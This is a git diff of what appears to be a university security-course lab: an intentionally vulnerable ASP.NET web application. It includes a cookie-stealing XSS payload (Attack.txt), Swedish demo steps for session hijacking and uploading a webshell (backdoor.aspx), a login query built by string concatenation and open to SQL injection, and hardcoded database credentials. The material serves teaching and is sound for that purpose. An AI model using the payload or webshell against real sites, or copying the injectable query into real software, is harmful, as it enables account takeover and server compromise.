diff --git a/lab1/passdb b/lab1/passdb index 07169ff..56f2e4e 100644 --- a/lab1/passdb +++ b/lab1/passdb @@ -1,4 +1,4 @@ -test:123452345:12JvVkeJRgm8A:12:0:12 +test:123452345:12JvVkeJRgm8A:12:0:19 user:223452345234:eePlF4X0jdYYM:ee:0:0 felix:323453245:aa9rcO1hTpP/I:aa:11:5 root:0:aa9rcO1hTpP/I:aa:0:7 diff --git a/lab3/EDA263_Assignment_III.pdf b/lab3/EDA263_Assignment_III.pdf new file mode 100644 index 0000000..c887151 Binary files /dev/null and b/lab3/EDA263_Assignment_III.pdf differ diff --git a/lab3/cs_lab3.zip b/lab3/cs_lab3.zip new file mode 100644 index 0000000..226aacc Binary files /dev/null and b/lab3/cs_lab3.zip differ diff --git a/lab3/cs_lab3/myWebApplication.sln b/lab3/cs_lab3/myWebApplication.sln new file mode 100644 index 0000000..8f8f965 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "myWebApplication", "myWebApplication\myWebApplication.csproj", "{C377A2FC-A352-4FA1-9994-906E3EAA132C}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {C377A2FC-A352-4FA1-9994-906E3EAA132C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {C377A2FC-A352-4FA1-9994-906E3EAA132C}.Debug|Any CPU.Build.0 = Debug|Any CPU + {C377A2FC-A352-4FA1-9994-906E3EAA132C}.Release|Any CPU.ActiveCfg = Release|Any CPU + {C377A2FC-A352-4FA1-9994-906E3EAA132C}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/lab3/cs_lab3/myWebApplication.suo b/lab3/cs_lab3/myWebApplication.suo new file mode 100644 index 0000000..bf0de0e Binary files /dev/null and b/lab3/cs_lab3/myWebApplication.suo differ diff --git a/lab3/cs_lab3/myWebApplication/Account/ChangePassword.aspx b/lab3/cs_lab3/myWebApplication/Account/ChangePassword.aspx new file mode 100644 index 0000000..44ac944 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/ChangePassword.aspx @@ -0,0 +1,60 @@ +<%@ Page Title="Change Password" Language="C#" MasterPageFile="~/Site.master" AutoEventWireup="true" + CodeBehind="ChangePassword.aspx.cs" Inherits="myWebApplication.Account.ChangePassword" %> + + + + +

+ Change Password +

+

+ Use the form below to change your password. +

+

+ New passwords are required to be a minimum of <%= Membership.MinRequiredPasswordLength %> characters in length. +

+ + + + + + +
+
+ Account Information +

+ Old Password: + + * +

+

+ New Password: + + * +

+

+ Confirm New Password: + + * + * +

+
+

+ + +

+
+ + + diff --git a/lab3/cs_lab3/myWebApplication/Account/ChangePassword.aspx.cs b/lab3/cs_lab3/myWebApplication/Account/ChangePassword.aspx.cs new file mode 100644 index 0000000..274332e --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/ChangePassword.aspx.cs @@ -0,0 +1,17 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Web; +using System.Web.UI; +using System.Web.UI.WebControls; + +namespace myWebApplication.Account +{ + public partial class ChangePassword : System.Web.UI.Page + { + protected void Page_Load(object sender, EventArgs e) + { + + } + } +} diff --git a/lab3/cs_lab3/myWebApplication/Account/ChangePassword.aspx.designer.cs b/lab3/cs_lab3/myWebApplication/Account/ChangePassword.aspx.designer.cs new file mode 100644 index 0000000..92a6a6a --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/ChangePassword.aspx.designer.cs @@ -0,0 +1,26 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace myWebApplication.Account +{ + + + public partial class ChangePassword + { + + /// + /// ChangeUserPassword control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.ChangePassword ChangeUserPassword; + } +} diff --git a/lab3/cs_lab3/myWebApplication/Account/ChangePasswordSuccess.aspx b/lab3/cs_lab3/myWebApplication/Account/ChangePasswordSuccess.aspx new file mode 100644 index 0000000..7921c0b --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/ChangePasswordSuccess.aspx @@ -0,0 +1,13 @@ +<%@ Page Title="Change Password" Language="C#" MasterPageFile="~/Site.master" AutoEventWireup="true" + CodeBehind="ChangePasswordSuccess.aspx.cs" Inherits="myWebApplication.Account.ChangePasswordSuccess" %> + + + + +

+ Change Password +

+

+ Your password has been changed successfully. +

+ diff --git a/lab3/cs_lab3/myWebApplication/Account/ChangePasswordSuccess.aspx.cs b/lab3/cs_lab3/myWebApplication/Account/ChangePasswordSuccess.aspx.cs new file mode 100644 index 0000000..ac4ac18 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/ChangePasswordSuccess.aspx.cs @@ -0,0 +1,17 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Web; +using System.Web.UI; +using System.Web.UI.WebControls; + +namespace myWebApplication.Account +{ + public partial class ChangePasswordSuccess : System.Web.UI.Page + { + protected void Page_Load(object sender, EventArgs e) + { + + } + } +} diff --git a/lab3/cs_lab3/myWebApplication/Account/ChangePasswordSuccess.aspx.designer.cs b/lab3/cs_lab3/myWebApplication/Account/ChangePasswordSuccess.aspx.designer.cs new file mode 100644 index 0000000..a2bafe4 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/ChangePasswordSuccess.aspx.designer.cs @@ -0,0 +1,17 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace myWebApplication.Account +{ + + + public partial class ChangePasswordSuccess + { + } +} diff --git a/lab3/cs_lab3/myWebApplication/Account/Login.aspx b/lab3/cs_lab3/myWebApplication/Account/Login.aspx new file mode 100644 index 0000000..01e89b8 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/Login.aspx @@ -0,0 +1,49 @@ +<%@ Page Title="Log In" Language="C#" MasterPageFile="~/Site.master" AutoEventWireup="true" + CodeBehind="Login.aspx.cs" Inherits="myWebApplication.Account.Login" %> + + + + +

+ Log In +

+

+ Please enter your username and password. + Register if you don't have an account. +

+ + + + + + +
+ +

+ +

+
+ + + diff --git a/lab3/cs_lab3/myWebApplication/Account/Login.aspx.cs b/lab3/cs_lab3/myWebApplication/Account/Login.aspx.cs new file mode 100644 index 0000000..ff8744b --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/Login.aspx.cs @@ -0,0 +1,17 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Web; +using System.Web.UI; +using System.Web.UI.WebControls; + +namespace myWebApplication.Account +{ + public partial class Login : System.Web.UI.Page + { + protected void Page_Load(object sender, EventArgs e) + { + RegisterHyperLink.NavigateUrl = "Register.aspx?ReturnUrl=" + HttpUtility.UrlEncode(Request.QueryString["ReturnUrl"]); + } + } +} diff --git a/lab3/cs_lab3/myWebApplication/Account/Login.aspx.designer.cs b/lab3/cs_lab3/myWebApplication/Account/Login.aspx.designer.cs new file mode 100644 index 0000000..6bff5b8 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/Login.aspx.designer.cs @@ -0,0 +1,35 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace myWebApplication.Account +{ + + + public partial class Login + { + + /// + /// RegisterHyperLink control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.HyperLink RegisterHyperLink; + + /// + /// LoginUser control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Login LoginUser; + } +} diff --git a/lab3/cs_lab3/myWebApplication/Account/Register.aspx b/lab3/cs_lab3/myWebApplication/Account/Register.aspx new file mode 100644 index 0000000..aaa0253 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/Register.aspx @@ -0,0 +1,75 @@ +<%@ Page Title="Register" Language="C#" MasterPageFile="~/Site.master" AutoEventWireup="true" + CodeBehind="Register.aspx.cs" Inherits="myWebApplication.Account.Register" %> + + + + + + + + + + + + +

+ Create a New Account +

+

+ Use the form below to create a new account. +

+

+ Passwords are required to be a minimum of <%= Membership.MinRequiredPasswordLength %> characters in length. +

+ + + + +
+
+ Account Information +

+ User Name: + + * +

+

+ E-mail: + + * +

+

+ Password: + + * +

+

+ Confirm Password: + + * + * +

+
+

+ +

+
+ + + + + + + diff --git a/lab3/cs_lab3/myWebApplication/Account/Register.aspx.cs b/lab3/cs_lab3/myWebApplication/Account/Register.aspx.cs new file mode 100644 index 0000000..ef96a3d --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/Register.aspx.cs @@ -0,0 +1,32 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Web; +using System.Web.Security; +using System.Web.UI; +using System.Web.UI.WebControls; + +namespace myWebApplication.Account +{ + public partial class Register : System.Web.UI.Page + { + + protected void Page_Load(object sender, EventArgs e) + { + RegisterUser.ContinueDestinationPageUrl = Request.QueryString["ReturnUrl"]; + } + + protected void RegisterUser_CreatedUser(object sender, EventArgs e) + { + FormsAuthentication.SetAuthCookie(RegisterUser.UserName, false /* createPersistentCookie */); + + string continueUrl = RegisterUser.ContinueDestinationPageUrl; + if (String.IsNullOrEmpty(continueUrl)) + { + continueUrl = "~/"; + } + Response.Redirect(continueUrl); + } + + } +} diff --git a/lab3/cs_lab3/myWebApplication/Account/Register.aspx.designer.cs b/lab3/cs_lab3/myWebApplication/Account/Register.aspx.designer.cs new file mode 100644 index 0000000..ce1b334 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/Register.aspx.designer.cs @@ -0,0 +1,35 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace myWebApplication.Account +{ + + + public partial class Register + { + + /// + /// RegisterUser control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.CreateUserWizard RegisterUser; + + /// + /// RegisterUserWizardStep control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.CreateUserWizardStep RegisterUserWizardStep; + } +} diff --git a/lab3/cs_lab3/myWebApplication/Account/Web.config b/lab3/cs_lab3/myWebApplication/Account/Web.config new file mode 100644 index 0000000..07059a0 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Account/Web.config @@ -0,0 +1,18 @@ + + + + + + + + + + + + + + + + + + diff --git a/lab3/cs_lab3/myWebApplication/Buyform.ascx b/lab3/cs_lab3/myWebApplication/Buyform.ascx new file mode 100644 index 0000000..2aa4606 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Buyform.ascx @@ -0,0 +1,13 @@ +<%@ Control Language="C#" AutoEventWireup="true" CodeBehind="Buyform.ascx.cs" Inherits="myWebApplication.Buyform" %> + +

BUY STUFF

+ +
+ + +
+ + +
+ + \ No newline at end of file diff --git a/lab3/cs_lab3/myWebApplication/Buyform.ascx.cs b/lab3/cs_lab3/myWebApplication/Buyform.ascx.cs new file mode 100644 index 0000000..0c3c0fc --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Buyform.ascx.cs @@ -0,0 +1,22 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Web; +using System.Web.UI; +using System.Web.UI.WebControls; + +namespace myWebApplication +{ + public partial class Buyform : System.Web.UI.UserControl + { + protected void Page_Load(object sender, EventArgs e) + { + + } + + protected void btnBuy_Click(object sender, EventArgs e) + { + Response.Redirect("default.aspx?page=2"); + } + } +} \ No newline at end of file diff --git a/lab3/cs_lab3/myWebApplication/Buyform.ascx.designer.cs b/lab3/cs_lab3/myWebApplication/Buyform.ascx.designer.cs new file mode 100644 index 0000000..e596ddd --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Buyform.ascx.designer.cs @@ -0,0 +1,78 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace myWebApplication { + + + public partial class Buyform { + + /// + /// lblFname control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Label lblFname; + + /// + /// txtFname control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.TextBox txtFname; + + /// + /// lblLname control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Label lblLname; + + /// + /// txtLname control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.TextBox txtLname; + + /// + /// lblAmount control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Label lblAmount; + + /// + /// txtAmount control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.TextBox txtAmount; + + /// + /// btnBuy control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Button btnBuy; + } +} diff --git a/lab3/cs_lab3/myWebApplication/Demo/Attack.txt b/lab3/cs_lab3/myWebApplication/Demo/Attack.txt new file mode 100644 index 0000000..41c7a51 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Demo/Attack.txt @@ -0,0 +1 @@ +%3cscript>document.write('%3cimg src="http://localhost:49834/WriteCookie.aspx?Cookie='%2bdocument.cookie%2b'">');%3c/script> \ No newline at end of file diff --git a/lab3/cs_lab3/myWebApplication/Demo/Demoinstruktioner.txt b/lab3/cs_lab3/myWebApplication/Demo/Demoinstruktioner.txt new file mode 100644 index 0000000..cafe1f1 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Demo/Demoinstruktioner.txt @@ -0,0 +1,20 @@ +Demoinstruktioner: + +Firefox - browser för angriparen, Chrome - browser för användaren + +Angripare: +Ett: Gå till förstasidan på applikationen i Firefox, klicka på Feedback. +Två: Klista in koden från filen Attack.txt i kommentarsfältet. + +Vanlig användare: +Tre: Logga in i applikationen. +Fyra: Gå till Visa feedback och när sidan visas kommer autentiseringskakan att skickas och + läggas i C:\tmp\cookie.txt + +Angripare: +Fem: Gå till C:\tmp\cookie.txt och kopiera innehållet +Sex: Öppna cookie manager. Skapa en ny kaka med namn = auth och värde = värdet från cookie.txt +Sju: Gå till Default.aspx med den nya kakan installerad. +Åtta: Gå till fileupload, ladda upp backdoor.aspx +Nio: Surfa till localhost...backdoor.aspx +Tio: Kör något kommando diff --git a/lab3/cs_lab3/myWebApplication/Demo/backdoor.aspx b/lab3/cs_lab3/myWebApplication/Demo/backdoor.aspx new file mode 100644 index 0000000..c523fef --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Demo/backdoor.aspx @@ -0,0 +1,47 @@ +<%@ Page Language="C#" Debug="true" Trace="false" %> +<%@ Import Namespace="System.Diagnostics" %> +<%@ Import Namespace="System.IO" %> + + + +asp.net webshell + + +
+ + +Command: +
+ + diff --git a/lab3/cs_lab3/myWebApplication/Feedback.aspx b/lab3/cs_lab3/myWebApplication/Feedback.aspx new file mode 100644 index 0000000..3f48fbb --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Feedback.aspx @@ -0,0 +1,56 @@ +<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Feedback.aspx.cs" Inherits="myWebApplication.Feedback" %> + + + + + + Send feedback + + + +
+
+
+
+
+
+ +
+ + +
+ +
+
+ + +
+ +
+
+ + + + + +
+
+ + + +
+
+
+
+ Jb +
+
+
+ All things Sonic Death Monkey. Directly stolen from High Fidelity movie. As a tribute of sorts... Like it?   +
+
+ + diff --git a/lab3/cs_lab3/myWebApplication/Feedback.aspx.cs b/lab3/cs_lab3/myWebApplication/Feedback.aspx.cs new file mode 100644 index 0000000..e49fb04 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Feedback.aspx.cs @@ -0,0 +1,41 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Web; +using System.Web.UI; +using System.Web.UI.WebControls; + +namespace myWebApplication +{ + public partial class Feedback : System.Web.UI.Page + { + protected void Page_Load(object sender, EventArgs e) + { + + if (!IsPostBack) + { + Panel_feedback.Visible = true; + Panel_return.Visible = false; + } + } + + + + protected void btnReturn_Click(object sender, EventArgs e) + { + Response.Redirect("login.aspx"); + } + + protected void btnFeedback_Click(object sender, EventArgs e) + { + //get stuff and pass to database + String name = Server.UrlDecode(txtName.Text); + String comment = Server.UrlDecode(txtFeedback.Text); + + SQLaccess.InsertComment(name,comment); + + Panel_feedback.Visible = false; + Panel_return.Visible = true; + } + } +} \ No newline at end of file diff --git a/lab3/cs_lab3/myWebApplication/Feedback.aspx.designer.cs b/lab3/cs_lab3/myWebApplication/Feedback.aspx.designer.cs new file mode 100644 index 0000000..631e1f2 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Feedback.aspx.designer.cs @@ -0,0 +1,114 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace myWebApplication { + + + public partial class Feedback { + + /// + /// form1 control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.HtmlControls.HtmlForm form1; + + /// + /// hfield control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.HiddenField hfield; + + /// + /// Panel_feedback control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Panel Panel_feedback; + + /// + /// lblFeedback control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Label lblFeedback; + + /// + /// txtFeedback control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.TextBox txtFeedback; + + /// + /// lblName control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Label lblName; + + /// + /// txtName control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.TextBox txtName; + + /// + /// btnFeedback control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Button btnFeedback; + + /// + /// Panel_return control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Panel Panel_return; + + /// + /// lblThanks control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Label lblThanks; + + /// + /// btnReturn control. + /// + /// + /// Auto-generated field. + /// To modify move field declaration from designer file to code-behind file. + /// + protected global::System.Web.UI.WebControls.Button btnReturn; + } +} diff --git a/lab3/cs_lab3/myWebApplication/Global.asax b/lab3/cs_lab3/myWebApplication/Global.asax new file mode 100644 index 0000000..908fb6d --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Global.asax @@ -0,0 +1 @@ +<%@ Application Codebehind="Global.asax.cs" Inherits="myWebApplication.Global" Language="C#" %> diff --git a/lab3/cs_lab3/myWebApplication/Global.asax.cs b/lab3/cs_lab3/myWebApplication/Global.asax.cs new file mode 100644 index 0000000..027bb97 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Global.asax.cs @@ -0,0 +1,47 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Web; +using System.Web.Security; +using System.Web.SessionState; + +namespace myWebApplication +{ + public class Global : System.Web.HttpApplication + { + + void Application_Start(object sender, EventArgs e) + { + // Code that runs on application startup + + } + + void Application_End(object sender, EventArgs e) + { + // Code that runs on application shutdown + + } + + void Application_Error(object sender, EventArgs e) + { + // Code that runs when an unhandled error occurs + + } + + void Session_Start(object sender, EventArgs e) + { + // Code that runs when a new session is started + + } + + void Session_End(object sender, EventArgs e) + { + // Code that runs when a session ends. + // Note: The Session_End event is raised only when the sessionstate mode + // is set to InProc in the Web.config file. If session mode is set to StateServer + // or SQLServer, the event is not raised. + + } + + } +} diff --git a/lab3/cs_lab3/myWebApplication/Helpers.cs b/lab3/cs_lab3/myWebApplication/Helpers.cs new file mode 100644 index 0000000..42a342f --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Helpers.cs @@ -0,0 +1,27 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Web; +using System.Security.Cryptography; +using System.Text; + +namespace myWebApplication +{ + public class Helpers + { + public static string CalculateMD5Hash(byte [] inputBytes) + { + // step 1, calculate MD5 hash from input + MD5 md5 = System.Security.Cryptography.MD5.Create(); + byte[] hash = md5.ComputeHash(inputBytes); + + // step 2, convert byte array to hex string + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < hash.Length; i++) + { + sb.Append(hash[i].ToString("X2")); + } + return sb.ToString(); + } + } +} \ No newline at end of file diff --git a/lab3/cs_lab3/myWebApplication/Properties/AssemblyInfo.cs b/lab3/cs_lab3/myWebApplication/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..5792aa6 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Properties/AssemblyInfo.cs @@ -0,0 +1,35 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("myWebApplication")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("myWebApplication")] +[assembly: AssemblyCopyright("Copyright © 2011")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("572739fa-7b7b-4479-886c-fe83da5c46fb")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Revision and Build Numbers +// by using the '*' as shown below: +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/lab3/cs_lab3/myWebApplication/SQLaccess.cs b/lab3/cs_lab3/myWebApplication/SQLaccess.cs new file mode 100644 index 0000000..b542301 --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/SQLaccess.cs @@ -0,0 +1,131 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Web; +using System.Data.SqlClient; + +namespace myWebApplication +{ + + public class SQLaccess + { + //private static String connectionString = "Data Source=.;Initial Catalog=myVulnappDB;Integrated Security=True"; + //private static String connectionString = "Data Source=.\\SQLEXPRESS;Initial Catalog=myVulnappDB;Integrated Security=True"; + private static String connectionString = "Data Source=theoden.ce.chalmers.se;Initial Catalog=myVulnappDB;Integrated Security=False;UID=myvulnapp;PWD=myvulnapp"; + + public static String checkUserPass(String username, String password) + { + SqlConnection conn = new SqlConnection(connectionString); + conn.Open(); + + //SqlCommand sqlc = new SqlCommand("SELECT Record FROM Table_Users WHERE Username=@username AND Password=@password"); + //sqlc.Parameters.AddWithValue("@username", username); + //sqlc.Parameters.AddWithValue("@password", password); + + SqlCommand sqlc = new SqlCommand("SELECT Record FROM Table_Users WHERE Username='" + username + "' AND Password='" + password + "'"); + sqlc.Connection = conn; + SqlDataReader sdr = sqlc.ExecuteReader(); + if (sdr.HasRows == false) + { + return null; //no user + } + else + { + sdr.Read(); + return sdr.GetValue(0).ToString(); + } + } + + public static String GetUserFromID(String ID) + { + SqlConnection conn = new SqlConnection(connectionString); + conn.Open(); + + + SqlCommand sqlc = new SqlCommand("SELECT Username,Password FROM Table_Users WHERE SessionID=@sessionid"); + sqlc.Parameters.AddWithValue("@sessionid", ID); + + sqlc.Connection = conn; + SqlDataReader sdr = sqlc.ExecuteReader(); + if (sdr.HasRows == false) + { + return null; //no user + } + else + { + //can only be one if mechanism works as intended, take the first one + sdr.Read(); + return sdr.GetValue(0).ToString(); + } + + } + + public static String GetRecordFromID(String ID) + { + SqlConnection conn = new SqlConnection(connectionString); + conn.Open(); + + + SqlCommand sqlc = new SqlCommand("SELECT Record FROM Table_Users WHERE SessionID=@sessionid"); + sqlc.Parameters.AddWithValue("@sessionid", ID); + + sqlc.Connection = conn; + SqlDataReader sdr = sqlc.ExecuteReader(); + if (sdr.HasRows == false) + { + return null; //no user + } + else + { + //can only be one if mechanism works as intended, take the first one + sdr.Read(); + return sdr.GetValue(0).ToString(); + } + + } + + public static Boolean InsertComment(String Name, String Comment) + { + SqlConnection conn = new SqlConnection(connectionString); + SqlCommand sqlc = new SqlCommand("INSERT INTO Table_Comments Values(@name,@comment);"); + sqlc.Parameters.AddWithValue("@name", Name); + sqlc.Parameters.AddWithValue("@comment", Comment); + + try + { + conn.Open(); + sqlc.Connection = conn; + sqlc.ExecuteNonQuery(); + return true; + } + catch(Exception ex) + { + System.Diagnostics.Debug.Write(ex.StackTrace); + return false; + } + + } + + public static Boolean InsertSessionID(String record, String SessionID) + { + SqlConnection conn = new SqlConnection(connectionString); + SqlCommand sqlc = new SqlCommand("UPDATE Table_Users SET SessionID=@sessionid WHERE Record=@record;"); + sqlc.Parameters.AddWithValue("@sessionid", SessionID); + sqlc.Parameters.AddWithValue("@record", record); + try + { + conn.Open(); + sqlc.Connection = conn; + sqlc.ExecuteNonQuery(); + return true; + } + catch (Exception ex) + { + System.Diagnostics.Debug.Write(ex.StackTrace); + return false; + } + + } + + } +} \ No newline at end of file diff --git a/lab3/cs_lab3/myWebApplication/Scripts/jquery-1.4.1-vsdoc.js b/lab3/cs_lab3/myWebApplication/Scripts/jquery-1.4.1-vsdoc.js new file mode 100644 index 0000000..a6d00ce --- /dev/null +++ b/lab3/cs_lab3/myWebApplication/Scripts/jquery-1.4.1-vsdoc.js @@ -0,0 +1,8061 @@ +/* + * This file has been commented to support Visual Studio Intellisense. + * You should not use this file at runtime inside the browser--it is only + * intended to be used only for design-time IntelliSense. Please use the + * standard jQuery library for all production use. + * + * Comment version: 1.4.1a + */ + +/*! + * jQuery JavaScript Library v1.4.1 + * http://jquery.com/ + * + * Distributed in whole under the terms of the MIT + * + * Copyright 2010, John Resig + * + * Permission is hereby granted, free of charge, to any person obtaining + * a copy of this software and associated documentation files (the + * "Software"), to deal in the Software without restriction, including + * without limitation the rights to use, copy, modify, merge, publish, + * distribute, sublicense, and/or sell copies of the Software, and to + * permit persons to whom the Software is furnished to do so, subject to + * the following conditions: + * + * The above copyright notice and this permission notice shall be + * included in all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE + * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION + * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION + * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + * + * Includes Sizzle.js + * http://sizzlejs.com/ + * Copyright 2010, The Dojo Foundation + * Released under the MIT, BSD, and GPL Licenses. + * + * Date: Mon Jan 25 19:43:33 2010 -0500 + */ + +(function( window, undefined ) { + +// Define a local copy of jQuery +var jQuery = function( selector, context ) { + /// + /// 1: $(expression, context) - This function accepts a string containing a CSS selector which is then used to match a set of elements. + /// 2: $(html) - Create DOM elements on-the-fly from the provided String of raw HTML. + /// 3: $(elements) - Wrap jQuery functionality around a single or multiple DOM Element(s). + /// 4: $(callback) - A shorthand for $(document).ready(). + /// 5: $() - As of jQuery 1.4, if you pass no arguments in to the jQuery() method, an empty jQuery set will be returned. + /// + /// + /// 1: expression - An expression to search with. + /// 2: html - A string of HTML to create on the fly. + /// 3: elements - DOM element(s) to be encapsulated by a jQuery object. + /// 4: callback - The function to execute when the DOM is ready. + /// + /// + /// 1: context - A DOM Element, Document or jQuery to use as context. + /// + /// + + // The jQuery object is actually just the init constructor 'enhanced' + return new jQuery.fn.init( selector, context ); + }, + + // Map over jQuery in case of overwrite + _jQuery = window.jQuery, + + // Map over the $ in case of overwrite + _$ = window.$, + + // Use the correct document accordingly with window argument (sandbox) + document = window.document, + + // A central reference to the root jQuery(document) + rootjQuery, + + // A simple way to check for HTML strings or ID strings + // (both of which we optimize for) + quickExpr = 